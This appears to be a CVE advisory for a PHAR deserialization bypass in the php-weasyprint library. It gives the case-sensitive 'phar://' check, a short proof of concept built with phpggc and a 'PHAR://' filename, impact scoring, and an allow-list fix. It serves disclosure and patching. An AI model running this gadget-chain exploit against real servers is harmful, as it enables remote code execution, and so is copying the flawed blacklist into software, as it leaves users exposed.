CVE-2026-49286

Description

### Summary `pontedilana/php-weasyprint` guarded the output filename against the `phar://` stream wrapper with a case-sensitive blacklist: ```php if (0 === \strpos($filename, 'phar://')) { throw new \InvalidArgumentException('The output file cannot be a phar archive.'); } ``` PHP stream wrappers are **case-insensitive**, so `PHAR://`, `Phar://`, etc. bypass the check and reach `fileExists()` (`file_exists()`) in `prepareOutput()`. On PHP 7 (which the library still supports — PHP 7.4+), this triggers deserialization of a crafted PHAR archive's metadata, leading to remote code execution. This is the patch-bypass of CVE-2023-28115. The same issue and fix were handled upstream in KnpLabs/snappy ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)). ### Affected versions `pontedilana/php-weasyprint` versions `<= 2.5.1` (the case-sensitive guard was introduced in commit `eb8accc`, "Implement countermeasures for CVE-2023-28115"). Patched in: `2.6.0`. ### Privilege required A caller able to control the output filename passed to `generate()` / `generateFromHtml()`, plus the ability to place a PHAR archive on the filesystem (e.g. via an upload). Exploitation of the deserialization requires the server to run PHP < 8. ### Vulnerable code `src/AbstractGenerator.php`, `prepareOutput()`: ```php if (0 === \strpos($filename, 'phar://')) { throw new \InvalidArgumentException('The output file cannot be a phar archive.'); } ``` `strpos($filename, 'phar://')` matches only the exact lowercase string, while the wrapper resolution is case-insensitive — `PHAR://payload.phar` is not caught. ### Proof of concept ```bash # Craft a PHAR with a fast-destruct gadget chain phpggc -f Monolog/RCE1 exec 'touch /tmp/exploit' -p phar -o exploit.phar ``` ```php <?php use Pontedilana\PhpWeasyPrint\Pdf; $pdf = new Pdf('/usr/local/bin/weasyprint'); // Case-altered wrapper bypasses the lowercase 'phar://' blacklist $pdf->generateFromHtml('<h1>POC</h1>', 'PHAR://exploit.phar'); // On PHP < 8, the PHAR metadata is deserialized -> /tmp/exploit is created ``` ### Impact - Remote code execution and filesystem access through PHAR metadata deserialization on PHP < 8, when the output filename is attacker-influenced and a PHAR can be planted. CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H (8.1, High) — Critical in deployments running PHP 7 with an upload surface; adjust to your environment. CWE-502 (Deserialization of Untrusted Data). ### Suggested fix Replace the case-sensitive blacklist with a scheme allow-list (`file` / no scheme), comparing the lowercased scheme parsed from the filename: ```php protected const ALLOWED_PROTOCOLS = ['file']; protected function isProtocolAllowed(string $filename): bool { if (false === $parsed = \parse_url($filename)) { throw new \InvalidArgumentException('The filename is not valid.'); } $protocol = isset($parsed['scheme']) ? \strtolower($parsed['scheme']) : 'file'; // ...special-case Windows drive letters (C:\...) as 'file'... return \in_array($protocol, self::ALLOWED_PROTOCOLS, true); } ``` `prepareOutput()` then rejects any non-`file` scheme (`phar`, `PHAR`, `php`, `http`, ...) before `file_exists()` is reached. ### Credit Original vulnerability and patch-bypass reported upstream to KnpLabs/snappy by Rémi Matasse of Synacktiv ([GHSA-92rv-4j2h-8mjj](https://github.com/KnpLabs/snappy/security/advisories/GHSA-92rv-4j2h-8mjj)); identified as applicable to `pontedilana/php-weasyprint`, which mirrors the same code.